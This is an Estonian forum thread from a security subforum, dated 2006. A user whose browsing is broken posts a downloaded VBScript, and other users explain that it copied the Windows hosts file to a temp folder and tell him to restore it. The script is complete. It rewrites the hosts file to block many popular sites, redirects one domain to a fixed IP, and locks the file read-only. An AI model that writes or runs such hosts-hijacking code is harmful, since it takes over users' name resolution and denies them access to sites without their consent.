Probleem! :: Hinnavaatluse Foorumid

:: statistika :: kasutajate nimekiri :: kasutajate grupid :: registreeri
profiil :: lemmikud :: logi sisse, et näha oma privaatsõnumeid :: logi sisse

Tarkvara » Turvalisus » Probleem!

märgi kõik teemad loetuks
märgi mitteloetuks
vaata eelmist teemat :: vaata järgmist teemat

Hinnavaatlus :: Foorum :: Uudised :: Ärifoorumid :: HV F1 ennustusvõistlus :: Pangalink :: Telekavad :: HV toote otsing

	Samsung Galaxy M15 5G - 139.99
	Mida iganes sa teed - K-rautas on alati valikut! Vii oma suvised projektid ellu - kõik vajamineva leiad ikka K-rautast
	Kõikidele Canyon akupankadele soodustus kuni 30%! Vaata Euronics.ee
	Ole suveks valmis - mängi kõikjal ja vali Lorgar

autor

sõnum :: teata moderaatorile	otsing:

Steff.
Kreisi kasutaja

liitunud: 01.01.2006

27.01.2006 16:28:52 Probleem!

Nii siis probla selles et tõmbasin mingilt lehelt mingi asja või scrpti mis ei lase osadele lehtedele minna Nt. Delfi, Hot.
http://www.e-nett.pri.ee/businesia.zip Ja nüüd ei lasa enam lehtedele nende seas ka HV Pealehele!

Sub blockrate()

Dim fso, wso, hf, hf2, att, att2, fol, ourfile, tmpfile, i, oSystem

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject") ' loome objekti failide manipuleerimiseks
if Err <> 0 Then ' kui see loomine ei õnnestunud...
MsgBox "Njh, seekord sul vedas, järgmine kord enam niihästi ei lähe!", VBCritical
Set fso = Nothing
Exit Sub ' lõpetame töö
End if

Set tmpfol = fso.GetSpecialFolder(2) ' tmp-kataloog
tmpfile = tmpfol & "\midaiganes"

Set fol = fso.GetSpecialFolder(1) ' SystemFolder
ourfile = fol & "\drivers\etc\hosts"

if not (fso.FileExists(ourfile)) then ' kui OS ei ole WinNT
Set fol = fso.GetSpecialFolder(0) ' WindowsFolder
ourfile = fol & "\hosts"
end if

Set att = fso.Getfile(ourfile)
att.Attributes = 0

if(fso.FileExists(tmpfile)) then 'kui tmp-fail juba eksisteerib, kustutame ta
Set att2 = fso.Getfile(tmpfile)
att2.Attributes = 0
fso.DeleteFile tmpfile
end if
fso.CopyFile ourfile, tmpfile 'liigutame algse hostide faili koopia tmp-kataloogi

Set hf = fso.OpenTextFile(tmpfile,1) ' avame algse hostifaili lugemiseks
Set hf2 = fso.OpenTextFile(ourfile,2,true) ' kirjutame uue hostide faili

hf2.WriteLine "194.204.30.199 minut.ee"
hf2.WriteLine "194.204.30.199 www.minut.ee"
hf2.WriteLine "127.0.0.1 rate.ee"
hf2.WriteLine "127.0.0.1 www.rate.ee"
hf2.WriteLine "127.0.0.1 businesia.com"
hf2.WriteLine "127.0.0.1 www.businesia.com"
hf2.WriteLine "127.0.0.1 google.com"
hf2.WriteLine "127.0.0.1 www.google.com"
hf2.WriteLine "127.0.0.1 serenda.com"
hf2.WriteLine "127.0.0.1 www.serenda.com"
hf2.WriteLine "127.0.0.1 hv.ee"
hf2.WriteLine "127.0.0.1 www.hv.ee"
hf2.WriteLine "127.0.0.1 hinnavaatlus.ee"
hf2.WriteLine "127.0.0.1 www.hinnavaatlus.ee"
hf2.WriteLine "127.0.0.1 hot.ee"
hf2.WriteLine "127.0.0.1 www.hot.ee"
hf2.WriteLine "127.0.0.1 pilt.ee"
hf2.WriteLine "127.0.0.1 www.pilt.ee"
hf2.WriteLine "127.0.0.1 aegmaha.com"
hf2.WriteLine "127.0.0.1 www.aegmaha.com"
hf2.WriteLine "127.0.0.1 everyday.com"
hf2.WriteLine "127.0.0.1 www.everyday.com"
hf2.WriteLine "127.0.0.1 mail.ee"
hf2.WriteLine "127.0.0.1 www.mail.ee"
hf2.WriteLine "127.0.0.1 jippii.ee"
hf2.WriteLine "127.0.0.1 www.jippii.ee"
hf2.WriteLine "127.0.0.1 msn.com"
hf2.WriteLine "127.0.0.1 www.msn.com"
hf2.WriteLine "127.0.0.1 hotmail.com"
hf2.WriteLine "127.0.0.1 www.hotmail.com"
hf2.WriteLine "127.0.0.1 auto24.ee"
hf2.WriteLine "127.0.0.1 www.auto24.ee"
hf2.WriteLine "127.0.0.1 mangukoobas.ee"
hf2.WriteLine "127.0.0.1 www.mangukoobas.ee"
hf2.WriteLine "127.0.0.1 delfi.ee"
hf2.WriteLine "127.0.0.1 www.delfi.ee"

while not( hf.AtEndOfStream )
i=hf.readline
' kui ei leitud järgnevaid lõike failireast, siis kirjutame rea uude hostifaili
if (instr(1,i,"minut.ee",1)=0 and instr(1,i,"rate.ee",1)=0 and instr(1,i,"businesia.com",1)=0 and instr(1,i,"google.com",1)=0 and instr(1,i,"serenda.com",1)=0 and instr(1,i,"hv.ee",1)=0 and instr(1,i,"hinnavaatlus.ee",1)=0 and instr(1,i,"hot.ee",1)=0 and instr(1,i,"pilt.ee",1)=0 and instr(1,i,"aegmaha.com",1)=0 and instr(1,i,"everyday.com",1)=0 and instr(1,i,"mail.ee",1)=0 and instr(1,i,"jippii.ee",1)=0 and instr(1,i,"msn.com",1)=0 and instr(1,i,"hotmail.com",1)=0 and instr(1,i,"auto24.ee",1)=0 and instr(1,i,"mangukoobas.ee",1)=0 and instr(1,i,"delfi.ee",1)=0) then
hf2.WriteLine i
end if
wend

hf2.Close
hf.Close

fso.DeleteFile tmpfile 'kustutame ajutise faili
att.Attributes = 7 ' lõpetame selle pulli HOSTS faili ümber, teeme ta readonly-ks

MsgBox "Hackitud :)", VBCritical
End Sub
blockrate 'funktsiooni käivitamine

Kas keegi oskaks aidata?
_________________
Kui sind ei ole siin...Siis sind ei ole olemaski!

Kommentaarid: 44 loe/lisa

Kasutajad arvavad:

0 ::

tagasi üles

vasjata
HV vaatleja

liitunud: 22.06.2005

27.01.2006 16:38:21 Re: Probleem!

Steff. kirjutas:

Kas keegi oskaks aidata?

Kui sa nüüd seda faili tähelepanelikult loed, siis peaks selge olema, mida see skript tegi ja kuhu ta su originaal hosts-faili ära pani.

tagasi üles

Steff.
Kreisi kasutaja

liitunud: 01.01.2006

27.01.2006 16:51:24

??? Äkki räägiks siis lähemalt lugesin selle rodu 4 korda läbi ja ei leidnud midagi _________________ Kui sind ei ole siin...Siis sind ei ole olemaski!

Kommentaarid: 44 loe/lisa

Kasutajad arvavad:

0 ::

tagasi üles

Death
HV Guru

liitunud: 06.09.2003

27.01.2006 17:01:38

tsitaat:

Set tmpfol = fso.GetSpecialFolder(2) ' tmp-kataloog
tmpfile = tmpfol & "\midaiganes"

Seletab sulle et tehakse systeemi tmp kataloogi kataloom midaiganes

ja

tsitaat:

fso.CopyFile ourfile, tmpfile 'liigutame algse hostide faili koopia tmp-kataloogi

ja see ütleb sulle veel midagi asjalikku.

taasta oma hosts fail. ja ongi OK
_________________
"To be or not to be?" is a question of when, not if.

Kommentaarid: 39 loe/lisa

Kasutajad arvavad:

0 ::

tagasi üles

Steff.
Kreisi kasutaja

liitunud: 01.01.2006

27.01.2006 17:41:37

mm kas oledn loll? aga mina ei leidnud seda sealt. _________________ Kui sind ei ole siin...Siis sind ei ole olemaski!

Kommentaarid: 44 loe/lisa

Kasutajad arvavad:

0 ::

tagasi üles

Betamax
HV Guru

liitunud: 29.05.2003

27.01.2006 18:13:18

Steff. kirjutas:

mm kas oledn loll? aga mina ei leidnud seda sealt.

Võibolla. Kes teab.
Siit saad uue HOSTS faili koos modifikatsioonidega, juhul, kui huvitab - http://wiki.hinnavaatlus.ee/index.php/Kurjade_lehekülgede_blokeerimine_brauserites
Uue HOSTS faili tegemise õpetuse saad netist - kasuta Google'it.

viimati muutis Betamax 27.01.2006 23:27:11, muudetud 1 kord

Kommentaarid: 730 loe/lisa

Kasutajad arvavad:

1 ::

551

tagasi üles

Steff.
Kreisi kasutaja

liitunud: 01.01.2006

27.01.2006 19:25:42

Aitäh kõigile kes üldse vaevusid aitama Nüüd sain tänu [user] indre329 [user] Asia korad tänud kah sellele mehele kes õppetuse teinud:D _________________ Kui sind ei ole siin...Siis sind ei ole olemaski!

Kommentaarid: 44 loe/lisa

Kasutajad arvavad:

0 ::

tagasi üles

Betamax
HV Guru

liitunud: 29.05.2003

27.01.2006 23:27:29

Steff. kirjutas:

Nüüd sain tänu [user] indre329 [user]
Asia korad tänud kah sellele mehele kes õppetuse teinud:D

No problem.

Kommentaarid: 730 loe/lisa

Kasutajad arvavad:

1 ::

551

tagasi üles

näita postitusi alates eelmisest:

Tarkvara » Turvalisus » Probleem!

[vaata eelmist teemat] [vaata järgmist teemat]

lisa lemmikuks

näita foorumit:

sa ei või postitada uusi teemasid siia foorumisse
sa ei või vastata selle foorumi teemadele
sa ei või muuta oma postitusi selles foorumis
sa ei või kustutada oma postitusi selles foorumis
sa ei või vastata küsitlustele selles foorumis
sa ei saa lisada manuseid selles foorumis
sa võid manuseid alla laadida selles foorumis

Hinnavaatlus ei vastuta foorumis tehtud postituste eest.